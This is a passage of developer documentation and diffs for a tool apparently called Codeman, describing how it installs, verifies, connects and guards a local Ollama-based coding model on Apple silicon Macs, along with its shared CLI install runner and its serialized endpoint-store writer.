GB pull emits about 1.4 million lines, so neither the stream nor one state write per line is affordable.
**Install is checked before anything is downloaded** (`LocalModelService.install()`): the model, the context and the coding agent must be a row the CURRENT recommendation offers (a model id is looked up, never passed on: without a slash it cannot name another registry host, and the request schema repeats that); the coding agent must be a harness row of the catalogue; `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`: the model plus the runtime archive while the runtime is not unpacked), else 409 `size-changed` with that total, so a consent is bound to the size that was shown; and a saved endpoint that already has the reserved id and is not ours is said now, not after a 23 GB download.
**The check after the pull** (`verifyModel()`): one tiny chat with `reasoning_effort: "none"`, then `/api/ps` must show `size_vram == size` at the chosen context, then one tool probe (`tools`, `reasoning_effort: "none"`, `max_tokens` 1024) that passes on a tool call with parseable arguments. ⚠️ Thinking is switched off and the cap is generous on purpose: every catalogue model thinks first, and a probe that ends on its token limit proves nothing (`probe-unfinished`, never `no-tool-call`). ⚠️ A failure is a state with a code and ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed". ⚠️ The job fails when the runtime reports no digest for the model: there would be nothing to compare later.
**The coding agent** is installed by `runInstallCommand()` of `src/cli-install-runner.ts`, the runner extracted from `cli-registry-routes.ts` (whose route keeps its behaviour and re-exports `installEnv`/`npmGlobalPrefixWritable` for its tests). ⚠️ The job runs only `stockInstallCommand(id)`, read from the COMPILED `STOCK_CLIS`, never the registry merged with `clis.json` (the route's own command still comes from the merged registry, behind its `cliManagementEnabled` gate): this path has no such gate, so an override file must not be able to change what it runs. `HarnessFact.installCommand` is that same string, which is what the consent screen prints. ⚠️ Only for a harness row of the catalogue, only after the consent click, admin only, audited (`cli_install` with `via: 'local-model'`). ⚠️ ONE install slot per CLI id (`tryBeginCliInstall()`), shared by the route and the job. ⚠️ After the installer, successful or not, the resolver caches are forgotten (`forgetResolvedCli()`) and the binary is looked for again: a pre-install miss is negative-cached for up to five minutes, and "Start a session" would otherwise answer "not installed". Still missing is `harness-failed`; found is success whatever the exit code. The runner takes an abort signal that kills the installer's process GROUP.
**The connection** (`connect.ts`): one record `{ id: 'local-ollama', label: 'This Mac', baseUrl, authStyle: 'bearer', models: [<id as /v1/models lists it>], defaultModelId, defaultContextLength: <the chosen context> }`, validated by `CustomModelHostSchema` and written through `mutateCustomModelHosts()`, then `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, with the flag's previous value kept in the state file (a second connect must hand the FIRST value back, or Remove could never switch the flag off again). ⚠️ `defaultContextLength` is load-bearing: the runtime's model listing states no context, so this field is what reaches the coding agent as its limit. ⚠️ The id is reserved: `POST /api/model-endpoints` refuses it, and a record with it that this feature did not write is never overwritten (`endpoint-id-taken`). ⚠️ While the state file records the connection, the record is MANAGED (`isManagedLocalEndpoint()`): `PUT`/`DELETE /api/model-endpoints/local-ollama` are refused, discover answers the stored list without a request, and the sweep skips it, so a model somebody pulled through the port never becomes launchable and the URL never leaves the supervised port. A hand-made record with that id (no state) stays an ordinary endpoint. `local-model.json` is not a config-backup file while the endpoint store and the settings are, so a restore can take the record away under an installed model: `boot()` puts the RECORD back when it is gone (`ensureLocalEndpoint()`, never replacing one that is there) and leaves the settings flag as it finds it. ⚠️ The runtime's port has NO authentication, and its CORS allowlist always admits `localhost` origins: any local process or localhost page can pull, create or delete models there. That is the reason for the three rules above and for the digest.
**The digest** `/api/tags` reported after the check is stored. ⚠️ Before a session starts on the managed endpoint (`LocalModelService.launchRefusalMessage()`, asked by BOTH launch paths in `session-routes.ts`: `POST /api/sessions/:id/custom-model` and the quick-start `customModel` branch, before anything is written or created) and at boot it is read again: a different digest, a model that is gone, a runtime Codeman did not start, or a model id other than the installed one refuses the launch with one sentence. The view shows what blocks a session as `error` while the state stays `installed`; it is found live and never stored. Boot recovery of an already running session (`_rebuildCustomModelEnv`) is not guarded: the pane exists and keeps its environment.
**Remove** stops the child, undoes the connection FIRST (a refused write of the endpoint store or of the settings rejects before any file is deleted), restores the flag only when this feature switched it on AND no other endpoint is saved, then deletes the runtime and the private home and, when asked, the models (`removeLocalModelFiles()`, which refuses any path outside the root). ⚠️ While a live session uses the endpoint the answer is 409 `sessions-open` with the session names (`sessionNamesUsingEndpoint()`, read at the moment of the request). ⚠️ The coding agent stays: what its installer wrote is not ours to remove.
**Developer tools**: `checkDeveloperTools()` runs ONLY `/usr/bin/xcode-select -p`, bounded, on darwin. ⚠️ Never `git`, `python3` or `xcrun` from the server: on a Mac without the tools each opens a system window. The view carries `developerTools`, and the window prints the one sentence when it is `missing`.
**The endpoint store's writer** (`src/custom-model-hosts-writer.ts`): `mutateCustomModelHosts(fn)` is the shape of `mutateSettingsFile()`: one promise chain, a random temp name, a refusal (409) to write over a file that does not parse. ⚠️ EVERY writer of `custom-model-hosts.json` goes through it: the four endpoint routes, the sweep and the connect step (`test/custom-model-hosts-writer.test.ts` fails a `writeCustomModelHosts()` call anywhere else in `src/`). The routes used to read, change and write on their own through one shared temp name, so two creates sent together lost a record or failed, and a file that did not parse was read as `[]` and replaced by one record, with every other endpoint's API key gone. ⚠️ A route's check runs INSIDE the callback, and discover splices onto the record as it is after the probe, not the copy read before it.
Tests: `test/local-model-install-job.test.ts` (the tables and the reducer, every state with every event), `test/local-model-install-service.test.ts`, `test/local-model-install-e2e.test.ts` (the real modules over the fake runtime), `test/local-model-state-store.test.ts`, `test/local-model-connect.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/cli-install-runner.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`, and the runtime's own `test/local-model-runtime.test.ts`, `test/local-model-ollama-client.test.ts`. The fake runtime is `test/fixtures/fake-ollama.ts`.
### Approvals Inbox
**Approvals Inbox** (cross-session queue of prompts waiting on a human; `approvalsInboxEnabled`, SYNCED, default OFF: every surface is opt-in; only the store and answer endpoints run regardless, so flipping it ON shows anything already pending): `web/approval-inbox.ts` is a `sessionWaits`-style singleton fed by `/api/hook-event`, holding at most ONE item per session (a new prompt supersedes), in-memory; answerable items are claude-mode only, and the DeepSeek status bridge and codex's screen-read dialogs (`web/screen-blocked.ts`) open ALERT-ONLY items (`answerInTerminal`: the answer route refuses them BEFORE its hooks gate, push carries no `approvalId`, the card and overview strip say "answer in the terminal"). Cards are answered via `POST /api/approvals/:id/answer`, which sends a digit / Esc / idle-prompt text through `writeViaMux` (menu answers never carry `\r`).
+2 -2
View File
@@ -25,7 +25,7 @@ Every run mode Codeman can launch — Claude Code, Terminal/Shell, OpenCode, Cod
App Settings → Agents & CLIs → **CLI management** (`cliManagementEnabled`, default OFF; admin-only in multi-user mode) lists every entry with an installed/not-installed badge and:
- toggles any entry on or off. A `kind: 'shell'` entry cannot be disabled, and the row shows no switch for it. A disabled CLI disappears from the Run menu, the welcome screen and the phone overview, and new session requests for it are rejected.
- installs a missing **stock** CLI by running its shipped install command, after a confirm that names the exact command. Only one install per CLI runs at a time, and the command runs without any `CODEMAN_*` variable in its environment. An `npm install -g` command is pointed at `~/.local` (which every resolver searches) when the npm global prefix is not writable by the server user, for example a system node under `/usr`; a writable prefix, a prefix that does not exist yet but could be created, and an explicit `NPM_CONFIG_PREFIX` are left alone. A custom entry's install command is never executed.
- installs a missing **stock** CLI by running its shipped install command (the entry as merged with `clis.json`, so an override of a stock entry's install command is what runs here), after a confirm that names the exact command. Only one install per CLI runs at a time, and the command runs without any `CODEMAN_*` variable in its environment. An `npm install -g` command is pointed at `~/.local` (which every resolver searches) when the npm global prefix is not writable by the server user, for example a system node under `/usr`; a writable prefix, a prefix that does not exist yet but could be created, and an explicit `NPM_CONFIG_PREFIX` are left alone. A custom entry's install command is never executed.
- adds, edits and deletes **custom** entries (id, label, badge, binaries, launch argv). The server re-validates the whole assembled entry through `CliEntrySchema`, so the form cannot bypass the load-time rules.
These are the only writes to `clis.json`. They are serialized, and a file that does not parse or has unsafe permissions is refused rather than overwritten; fix it (or `chmod 600` it) and retry. The HTTP routes are listed in `docs/api-reference.md` under *CLI management*.
@@ -332,7 +332,7 @@ already have.
Three rules, and the middle one is why the embed matters:
1. **The server never executes an entry's `install.command`.** Unchanged, and still enforced by nothing executing it: the field is display text (`CliDiscovery.install.command`).
1. **The server executes an entry's `install.command` in exactly two places, both behind a consent click that shows the literal text.** CLI management (above, `cliManagementEnabled`, the merged entry's command) and the local model install (`docs/local-models.md`: only the COMPILED stock command of a catalogue harness row, through `stockInstallCommand()`, so no `clis.json` override reaches it; no setting gates that path, the consent screen does). Both run through the one runner in `src/cli-install-runner.ts` (one install per CLI at a time, no `CODEMAN_*` in the environment, the whole process group killed on a timeout or a cancel) and both are written to the admin audit log in multi-user mode. Everywhere else the field is display text (`CliDiscovery.install.command`).
2. **`install.sh` executes only commands embedded in itself.** Those arrive in the same file, over the same TLS fetch, in the same commit as the `curl \| bash` line that fetched the script — identical trust to the hardcoded vendor one-liners it replaces.
3. **Nothing fetched at install time is ever executed.** There is no second code path that fetches anything after the script itself has been fetched.
+39
View File
@@ -663,6 +663,45 @@ each result. `scripts/test-local-llm-harnesses.ts` is the standalone script
used to check a harness against a real endpoint outside the web UI
entirely; see its own `--help` for usage.
## The endpoint store has one writer
`~/.codeman/custom-model-hosts.json` is written only through `mutateCustomModelHosts()`
(`src/custom-model-hosts-writer.ts`): the create, update, delete and discover routes, the
five-minute re-discovery sweep and the local model install all go through it.
- **One at a time.** Changes run on one queue, and the check a route makes ("this id is
free", "this endpoint still exists") runs in the same step as its write. Before, each
writer read the file, changed its copy and wrote it back on its own, all through one temp
file name: a route and the sweep, or two requests sent together, could lose each other's
change or fail outright.
- **Atomic.** A temp file with a random name beside the target, then a rename. Mode 0600.
- **A file that does not parse is refused, not replaced.** The writing routes answer
`409 CONFLICT` with the fix (repair or delete the file, or restore it from a config
backup) and leave it byte for byte. Before, such a file read as an empty list, and the next
save replaced every stored endpoint and its API key with one record. The message never
quotes the file, which holds keys.
The one direct writer left is config-backup restore, which must work on a file that does
not parse.
## The endpoint of the model on this Mac
Installing a local model from Codeman ([local-models.md](local-models.md)) saves one endpoint
with the reserved id `local-ollama` and the label "This Mac". It shows up in the list and in
the Run menu like any other endpoint. Three things are different:
- A new endpoint cannot be given the id `local-ollama`.
- While it is the endpoint the install manages, it cannot be edited or deleted here, and
"Discover" answers its stored model list without asking the runtime. Its model list must
stay the one model the install checked, and its address the port of the runtime Codeman
supervises. Change or remove it in the local model window.
- A session is started on it only while Codeman's own runtime is running and the model is
still the one that was installed (its digest is compared). Otherwise the launch answers
with one sentence.
An endpoint with that id that somebody made by hand, with no model installed by Codeman, is
an ordinary endpoint: it can be edited and deleted as before.
## Security note
Every env var this feature can set that redirects a session's traffic
+1 -1
View File
@@ -165,7 +165,7 @@ agent skill instead of teaching it these calls by hand: `skills/codeman` in the
(`npx skills add Ark0N/Codeman --skill codeman -g`, or `codeman skill install
[--case <name>] [--mode <mode>]`, or the synced `agentSkillEnabled` App Setting for
automatic per-case injection on session create, into the directory each CLI scans for
skills, on by default since 1.50.0). The skill carries the guard, the safety rules, and verified
skills). The skill carries the guard, the safety rules, and verified
wait/orchestration recipes.
If the caller speaks the Model Context Protocol (Claude Desktop, Cursor, Codex, any MCP
+442
View File
@@ -0,0 +1,442 @@
# A model that runs on this Mac
Codeman can set up a coding model that runs on the Mac the server runs on: no account and
no API key, and the session's prompts and files go to a model on this Mac rather than a
cloud provider (the coding agent itself may still check for updates). One button on the welcome screen opens a window that
shows what fits this Mac, installs the choice and ends on a coding agent session that
runs on it.
**Experimental.** The routes and their payloads may change in any release
([versioning-policy.md](versioning-policy.md), "Experimental local model routes"). Apple
silicon macOS only: anywhere else the window says why nothing is offered.
This page is the reference for how it works. The HTTP contract is in
[api-reference.md](api-reference.md) ("Local model"). The rules that must not be broken are
in [architecture-invariants.md](architecture-invariants.md#local-model-install).
## Which model fits which Mac
The window offers the best model of the catalogue (`src/config/local-model-catalog.ts`) that
fits this Mac's memory at a context a coding agent can work with, and up to four more. What
the catalogue answers today, before the runtime measured anything (the budget is then an
estimate: 2/3 of the memory below 36 GB, 3/4 from 36 GB, less 1 GiB, and never more than the
memory less 6, 8 or 12 GiB for macOS, Codeman, a browser and the agent):
| Memory | Budget | What it gets |
| ---------------- | ------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 8 GB | 2.1 GB | Nothing. The smallest model a coding agent can work with needs 10.2 GB at 65,536 tokens |
| 16 GB | 10.4 GB | Nothing. MiMo V2.6 9B at 65,536 tokens needs 10.2 GB, 98.7% of the budget, just past the 98% a tight fit may reach (it is 95% of the 10.7 GB a 16 GB Mac mini measured). On the edge either way: only a run on such a Mac settles it |
| 18 GB | 11.8 GB | A small model (`limited`): MiMo V2.6 9B at 131,072 tokens, 11.4 GB, tight. Its base, Qwen3.5 9B, is the one alternative |
| 24 GB | 16.1 GB | The same, with room. On a base M2 or M3 (100 GB/s) it computes to 9.3 tokens per second: slow |
| 32 GB | 21.8 GB | The same. North Mini Code 1.0 needs 23.2 GB at 65,536 tokens; once the runtime measures about 3/4 of the memory, as it did on a 16 and a 48 GB Mac, the Mac gets it at 131,072 tokens, or Qwen3.8 27B at 65,536 tokens on a Max chip |
| 36 GB | 27.9 GB | Qwen3.8 27B at 131,072 tokens on an M4 or M5 Max (27.0 GB, 97%); on a slower chip, where the dense 27B computes to under 10 tokens per second, Qwen3.6 35B-A3B as a GGUF build (27.1 GB, 97%). Both tight |
| 48 GB | 37.6 GB | Qwen3.6 35B-A3B (MLX) at 131,072 tokens: the pair we tested, "Recommended" on an Apple M5 Pro with 48 GB. On a Max chip Qwen3.8 27B at 262,144 tokens (32.1 GB, tight). The test was a short task: in a long session MLX may keep up to 8 GiB more, which brings this pair to the edge of the budget, and past it while a long prompt is processed |
| 64 GB | 50.5 GB | Qwen3.8 27B at 262,144 tokens on a Max chip; Qwen3.6 35B-A3B (MLX) on a Pro chip |
| 96 GB | 76.2 GB | Qwen3.8 27B at 262,144 tokens; on an M3 Max, Qwen3.6 35B-A3B (MLX) |
| 128 GB | 102 GB | Ornith 1.5 122B-A10B (MLX) at 131,072 tokens, 97.4 GB, tight |
| 192, 256, 512 GB | 154 GB+ | Ornith 1.5 122B-A10B at 262,144 tokens |
"Tight" means the need is between 85% and 98% of the budget; above 98% a model is not
offered. A model that computes to under 10 tokens per second on the chip is "slow" and ranks
after the fast ones, which is why the chip changes the pick at 36 to 96 GB. Every model is
offered at the largest context it fits at, and never below 65,536 tokens: OpenCode's own
prompt is 8,000 to 10,000 tokens, and at 32,768 it would compact after less than one default
file read. `test/local-model-recommend.test.ts` ("every memory size") pins this table.
### How much memory a model needs
The need of a model is its peak: the weights, what stays held per token of context, what the
runner holds beside both, and what it takes for a moment while a long prompt is processed. The
runtime runs a model with one of two runners, which spend memory differently, so every row
names its runner (`runner`) and its figures follow that runner's rule:
- **llama.cpp** (GGUF builds, on Metal) allocates the K/V cache for the whole context when the
model loads and does not grow after that. The runtime is started with
`OLLAMA_KV_CACHE_TYPE=q8_0` (the cache in 8 bits, 17/32 of the default f16; the runtime's
own documentation calls the loss very small), `OLLAMA_FLASH_ATTENTION=1` (an 8-bit cache
needs it), `LLAMA_ARG_CACHE_RAM=1024` (llama-server keeps copies of earlier prompts, and
this bounds them to 1 GiB) and `LLAMA_ARG_CTX_CHECKPOINTS=8` (llama-server keeps copies of
the state it cannot roll back, two or three per request, up to 32 by default: 5 GB for the
27B; 8 keeps the last few requests, which is what an agent's next request restores from). A
row's figures are computed from its model's `config.json`: the K/V cache of its attention
layers, its recurrent or sliding-window state, live and in each of the 8 checkpoints, 1.0
GB for the runner and the 1 GiB prompt cache. A build with a multi-token-prediction layer
(the two `-mtp` tags and `qwen3.8:27b-q8_0`) costs more: the runtime turns prediction on,
so llama-server keeps that layer's cache in f16 and one more copy of the recurrent state for
rollback per drafted token (the tag's `draft_num_predict`: 2 for the 35B-A3B, 4 for the
27B). No peak: the buffers are allocated at load. The checkpoints and the
prediction costs were read in the llama.cpp source the runtime bundles (b12111), not
measured.
- **MLX** grows its cache with the tokens actually used, keeps snapshots of the recurrent
state, and may keep up to 8 GiB of snapshots of earlier prompts, which no setting bounds. A
Mac always takes the MLX build of a tag that has one. Below 48 GB that 8 GiB does not fit
beside a useful model, so the catalogue lists GGUF builds there.
Where every figure comes from:
| Model | Runner | Memory figures | Speed (tokens per second per 100 GB/s) |
| ---------------------------- | --------- | ----------------------------------------------------------------------------------- | --------------------------------------------------------- |
| `qwen3.5:9b-q4_k_m` | llama.cpp | computed from the Qwen3.5-9B config | 9.3: a published run on an M1 Max |
| `mimo-v2.6:9b-q4_k_m` | llama.cpp | the same (a fine-tune of Qwen3.5-9B) | 9.3: the same architecture and size |
| `north-mini-code-1.0:q4_k_m` | llama.cpp | computed from its config | 13.6: the 35B-A3B's, the same 3 billion active parameters |
| `qwen3.6:35b-a3b-mtp-q4_k_m` | llama.cpp | computed from the Qwen3.6-35B-A3B config, prediction layer included | 13.6: a published run on an M1 Max |
| `qwen3.6:35b-a3b` | MLX | **measured** on an Apple M5 Pro with 48 GB | 16.9: a published run; 67.7 measured on the tested Mac |
| `qwen3.8:27b-q8_0` | llama.cpp | computed from the Qwen3.8-27B config, prediction layer included | 1.7: the row below scaled by file size |
| `qwen3.8:27b-mtp-q4_k_m` | llama.cpp | computed from the Qwen3.8-27B config, prediction layer included | 2.95: a published run without prediction (a floor) |
| `ornith-1.5:122b` | MLX | computed from the Qwen3.5-122B-A10B config, scaled by the measured MLX row, + 8 GiB | 5.0: the 35B-A3B's, x 3/10 active parameters |
Sizes are what the registry serves a Mac for each tag (every layer plus the config), read on
2026-11-08. Only one row was ever run on a Mac, so every other answer in the table above is a
calculation. For a llama.cpp build the check after the download catches a load that was
judged too kindly, but not what grows after it in host memory (the checkpoints and the prompt
cache, which are counted, not checked); for an MLX build it catches neither (see "The check"
below). The measured row's figures come from single long prompts, not a session of many
requests, in which MLX may keep up to 8 GiB more. The catalogue header lists the models left out on
purpose (no evidence of working tool calls, a restrictive licence, a known bug) and why.
A new row needs its model's architecture (attention layers, K/V heads, head size, and its
linear-attention or sliding-window layers, from its `config.json`) in the table of
`test/local-model-catalog.test.ts`, which recomputes every computed figure from it and fails
for a row it does not know. Its answer for each memory size is then pinned in
`test/local-model-recommend.test.ts`.
## What an install does, in order
The person picks a model, presses "Install on this Mac" and confirms the sizes once. The
server then runs one job of five steps. The window polls `GET /api/local-model` once a
second; the job runs in the server, so the window can be closed.
| Step | What it does |
| --------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `runtime` | Downloads the pinned runtime, compares its hash, unpacks it, chooses a port once, starts it, reads the measured memory budget and judges the choice again |
| `model` | Downloads the model through the runtime |
| `verify` | Loads the model and checks it: one tiny chat, the memory and context the runtime reports, one tool call |
| `agent` | Installs the coding agent with its stock install command. Left out when the agent is installed |
| `connect` | Saves one model endpoint and switches the custom model endpoints setting on |
Every step can be repeated: Resume and "Try again" enter the step the job stopped in.
### The runtime
- **One pinned build.** Ollama 0.40.15 for macOS, a compiled constant
(`OLLAMA_RUNTIME_PIN` in `src/local-model/runtime.ts`): the URL, the size (185,971,671
bytes) and the sha256. No file, setting, environment variable or request can change which
binary is downloaded.
- **Download.** Streamed to `*.partial` while it is hashed. A cut stream is continued with a
Range request, at most three times. The hash is compared before anything is unpacked, and
a mismatch deletes the file. Unpacking is `/usr/bin/tar` into a temporary folder, then one
rename.
- **No administrator rights.** Everything lives in the data directory.
- **Supervised by Codeman.** The runtime is a non-detached child of the server: started at
boot once a model is installed and not stopped, restarted at most three times after a
crash, sent SIGTERM at shutdown. It is not a login item: it stops with Codeman, and a
leftover from a server that was killed is taken back at the next start (see below).
- **Its environment is an allowlist.** `PATH`, `TMPDIR`, `LANG` and the proxy variables are
copied from the server. `HOME` is a private folder. Exactly these are set:
`OLLAMA_HOST=127.0.0.1:<port>`, `OLLAMA_MODELS`, `OLLAMA_CONTEXT_LENGTH`,
`OLLAMA_NO_CLOUD=1`, `OLLAMA_KEEP_ALIVE=10m`, `OLLAMA_NUM_PARALLEL=1`,
`OLLAMA_MAX_LOADED_MODELS=1`, and four memory settings of the llama.cpp runner:
`OLLAMA_KV_CACHE_TYPE=q8_0`, `OLLAMA_FLASH_ATTENTION=1`, `LLAMA_ARG_CACHE_RAM=1024` and
`LLAMA_ARG_CTX_CHECKPOINTS=8` (see "How much memory a model needs" above). No `CODEMAN_*`
variable and none of the user's own `OLLAMA_*` or `LLAMA_ARG_*` settings reach it.
- **The port is chosen once**, by binding, from 11435 across 20 ports, and stored. 11434 is
left alone: it is the default of a runtime the user may run themselves, which is never
touched.
- **An orphan is recognized.** The pid and the port are stored. At boot a listener on the
port that answers `/api/version` and whose pid runs a binary under Codeman's runtime folder
is Codeman's own leftover from a server that was killed: it is adopted or replaced. Any
other listener is "Port 11435 is in use by another program", with "Use another port" as
the way out.
### The memory budget is measured
Before the runtime exists the budget is an estimate from the installed memory. Right after
it starts, the runtime prints the device total in its log line "inference compute"
(`total="37.4 GiB"` on a 48 GB MacBook). Codeman reads that line, stores the figure and
judges the chosen model against it before a byte of the model is downloaded. A model that no
longer fits ends the job there with "does not fit" and the next model to try. From then on
the window shows the measured budget and the word "estimated" is gone.
The need of a model is its peak (see "How much memory a model needs" above).
### The model download
`POST /api/pull` with `stream: true`. A 23 GB pull sends about 1.4 million progress lines,
so the stream is parsed piece by piece and never kept. Cancel aborts the request, which
stops the download. Resume pulls again and the runtime continues its partial files. An error
line or a cut stream is retried up to five times. Once the pull reported its total, every
size shown for the model is that total.
### The check
After the pull, in this order:
1. One tiny chat with `reasoning_effort: "none"`. It loads the model.
2. `GET /api/ps` must show the whole model on the GPU (`size_vram` equal to `size`) at the
chosen context length. For a llama.cpp build both figures are the buffers llama-server
reports allocating (weights, K/V cache, compute), so this proves the whole load is on the
GPU. For an MLX build it proves only the weights: the runtime books an MLX model at its
weights (runtime issue 19417), so for those rows the catalogue's figures are all there is.
3. One tool probe on `/v1/chat/completions` (a `tools` array, `reasoning_effort: "none"`,
`max_tokens` 1024). It passes on a tool call whose arguments parse.
A failure is a state with a code and one next step, never a bare "failed": `does-not-fit`
and `no-tool-call` offer the next model, `probe-unfinished` (the token limit ended the
probe, so it proves nothing) and `load-failed` offer "Try again". The digest the runtime
reports for the model is stored when the check passed.
### The coding agent
When the chosen coding agent is not installed, the job installs it with the CLI registry's
own stock install command, through the same runner as App Settings > CLIs
(`src/cli-install-runner.ts`). The rules:
- Only a CLI that is a harness row of the local model catalogue.
- Only the **compiled** stock command. A `~/.codeman/clis.json` override cannot change what
runs here.
- Only after the person's consent click, on a screen that showed the literal command.
- Admin only in multi-user mode, and written to the admin audit log (`cli_install`, with
`via: "local-model"`).
- One installer per CLI at a time, shared with App Settings: while one runs, the other
answers that it is busy.
- Afterwards the cached lookups of the CLI's binary are forgotten and the binary is looked
for again. Still missing is the failure `harness-failed`, with the installer's last lines.
This step does not need the `cliManagementEnabled` setting. That setting gates the general
CLI management surface; this path can only ever run one vetted command for one catalogue
row.
### The connection
Two writes outside the local model folder, both undone by Remove:
1. One record in `custom-model-hosts.json`:
```json
{
"id": "local-ollama",
"label": "This Mac",
"baseUrl": "http://127.0.0.1:11435",
"authStyle": "bearer",
"models": ["qwen3.6:35b-a3b"],
"defaultModelId": "qwen3.6:35b-a3b",
"defaultContextLength": 131072
}
```
`defaultContextLength` is the chosen context: the runtime's model listing states none, so
this field is what reaches the coding agent as its context limit.
2. `customModelEndpointsEnabled: true` in `settings.json`. The value it had before is kept
in the state file.
The id `local-ollama` is reserved. A new endpoint cannot take it, and a record with that id
that this feature did not write is never overwritten: the install says so before anything is
downloaded. While the record is the managed one it cannot be edited or deleted in App
Settings and the five-minute discovery sweep leaves it alone, so its model list stays the
one model the install checked.
Switching the setting on also starts that five-minute sweep for every other saved endpoint.
## Starting a session
"Start a session" starts the coding agent on the endpoint `local-ollama` through the
existing custom model launch. Before a coding agent is STARTED on that endpoint the server
checks, in this order:
- the runtime child Codeman started is alive (whatever else answers on the port is not
ours);
- the digest the runtime reports for the installed model is the one stored at install time;
- the model asked for is the one that was installed and checked.
That check runs wherever a new agent process comes to be on the endpoint: a session created
with the model, a model applied to a running session (which restarts its agent), the attach
that starts an agent in a session that has none or whose agent exited, and the rebuild of a
session after a reboot (that entry is skipped with "the local model is not ready" and stays
on offer). An agent that is already running when Codeman restarts is not started by
Codeman, so it is not asked: it keeps running on its port, see below.
A different digest refuses the launch: "The model on this Mac changed since it was
installed. Remove it and install it again." The digest is also read again at boot and when
the runtime is started.
### From a Claude Code session: cloud plus local
The codeman skill ([`skills/codeman`](../skills/codeman/SKILL.md#claude-in-the-cloud-a-local-model-on-this-mac))
lets an agent in a Codeman session hand work to this model, so Claude in the cloud plans and
reviews while the model on this Mac does the bulk: summaries, classification, first drafts, and
files that should not leave the machine. `local_model` reads `GET /api/local-model` and says what
is installed or why nothing can run; `spawn_worker <name> local` starts the runtime when it was
stopped (as Start does), then starts the installed coding agent on `local-ollama` through the same
quick-start launch and the same checks as above; `sendmark` gives the worker a task and reads its
answer back from a file it writes in its own folder. The skill never installs a model and never
answers a confirmation, the runtime still answers one request at a time, and while a worker it
opened is live, Stop and Remove are refused until it is closed.
## Stop, Start, Remove
- **Stop** stops the runtime and keeps it from starting at the next boot. **Start** undoes
that.
- **Remove** stops the runtime, removes the endpoint record, switches the setting off again
only when this feature switched it on and no other endpoint is saved, and deletes the
runtime and its private home. The downloaded model is deleted only when asked. The coding
agent stays. While a live session uses the model, Remove answers with the session names
instead.
## Where everything is
All under the data directory (`~/.codeman`, or the instance's own):
```
local-model.json the state file (mode 0600)
local-model/
runtime/ollama-0.40.15.tgz.partial the runtime archive while it downloads
runtime/ollama-0.40.15/ the unpacked runtime (about 579 MB)
models/ the model store
home/ the runtime's private HOME (its key pair is here)
```
Nothing is written or deleted outside `local-model/` except the state file beside it and the
two writes of the connection. The state file holds no path, so it can never point a delete
somewhere else. The user's own `~/.ollama` is never created, read or removed.
`local-model.json` is not part of a config backup. `custom-model-hosts.json` and
`settings.json` are, so restoring an older backup can take the endpoint record away while
the model stays installed. The record is put back the next time Codeman starts (the setting
is left as the backup had it). A restore can also bring a record back after a Remove: it
then points at a port nothing listens on, is an ordinary endpoint again, and can be deleted
in App Settings.
## The job's states
| State | A server restart | Cancel | What can be done |
| ------------ | ------------------------------------------------------------- | ---------------- | -------------------------------------- |
| `idle` | stays idle | refused | install |
| `installing` | becomes `paused` at the same step | becomes `paused` | cancel |
| `paused` | stays paused | refused | resume, install, remove |
| `failed` | stays failed, same error | refused | resume, install, remove |
| `installed` | stays installed; the runtime is started unless it was stopped | refused | start a session, stop or start, remove |
One job at a time. A job a server restart interrupted comes back paused and never continues
without a click. Cancel interrupts the step in flight (the download, the pull, the request,
the installer's process group); in the last step it is honoured before the first write, and
once the two writes began they finish.
## On a Mac without developer tools
Coding agents call `git` and `python3`. On a Mac without Xcode or the Command Line Tools
those are stubs that open macOS's "install the command line developer tools" window. So the
window says one sentence wherever the person commits or finishes, and only when
`/usr/bin/xcode-select -p` fails:
> Coding agents use git and Python. This Mac has no developer tools yet, so macOS will offer
> to install them the first time an agent needs one.
Codeman itself only ever runs `/usr/bin/xcode-select -p` for this, bounded, and never `git`
or `python3`.
## What to know before relying on it
- **The runtime's port has no login.** Any program on this Mac, and any web page served from
`localhost`, can use the model server and change its models. That is why the endpoint
record lists one model, why the sweep leaves it alone, and why the digest is compared
before a session starts.
- **A Codeman restart stops the runtime.** A session that is mid-answer on the local model
loses that answer. The runtime is started again with the server, and the first request
loads the model again (seconds).
- **An open session keeps calling the runtime's port.** The coding agent was given the
address when it started. While the runtime is stopped, or for the seconds of a Codeman
restart, its requests go to a port nothing of ours holds, and any program on this Mac could
bind that port and answer them. That is why Stop and "Use another port" are refused while
a session uses the model: close those sessions first.
- **The runtime does not enforce the context length.** A prompt longer than the context was
accepted in testing. Do not rely on the runtime to stop one.
- **Most memory figures are calculated, not measured.** One model was run on one Mac; the
others are computed from their architecture, and the runtime settings they assume (an 8-bit
K/V cache, flash attention, a 1 GiB prompt cache) were read in its source, not yet observed
on a Mac. "Recommended" appears only for the pair we ran, on the Mac we ran it on.
- **The model stays in memory for ten minutes** after the last request, then the runtime
unloads it.
## Keeping the catalogue current
The catalogue (`src/config/local-model-catalog.ts`) and the runtime pin are compiled into
Codeman on purpose: no file or download decides what is recommended or run. What the
registry serves can still move away from them: a tag is pushed again or removed, the build
a Mac downloads changes size, Ollama ships a new version. The workflow
`.github/workflows/local-model-catalog.yml` looks for that every Monday at 06:00 UTC. It
runs `scripts/check-local-model-catalog.mjs`, which also runs locally:
`npm run check:local-model-catalog` prints the report and exits 0 (clean), 1 (drift) or 2
(the check itself failed).
For every model row it checks:
- **The tag still exists** in the registry.
- **The size of what a Mac downloads** is within 0.1% of the row's `bytes`. A tag can be a
manifest list with one build per runner, and Ollama on Apple silicon takes the `mlx` build
when there is one, else `llamacpp`, else `ggml`. So the check asks for the tag the way
Ollama asks, picks the build a Mac picks and sizes it the way a pull counts it (every layer
plus the config). The plain manifest other tools get for the same tag is the `llamacpp`
build, which is not what a Mac downloads.
- **The runner of that build**, once a row names its `runner`: a Mac still pulls an `mlx`
build for an `mlx` row and a GGUF build (`llamacpp`, or a manifest that names no runner)
for a `llamacpp` row. A row's memory figures follow its runner, so a tag that gains or
loses an mlx build is drift even at about the same size.
- **The build a Mac pulls runs on the pinned runtime**: its config declares no newer
Ollama (`requires`) than `OLLAMA_RUNTIME_PIN`.
- **The pinned digest**, once a row carries one: a Mac would still pull that manifest. The
field is `digest` and its value is what `/api/tags` reports after the pull. The catalogue
schema does not have it yet: `LocalModelEntrySchema` must gain an optional `digest` under
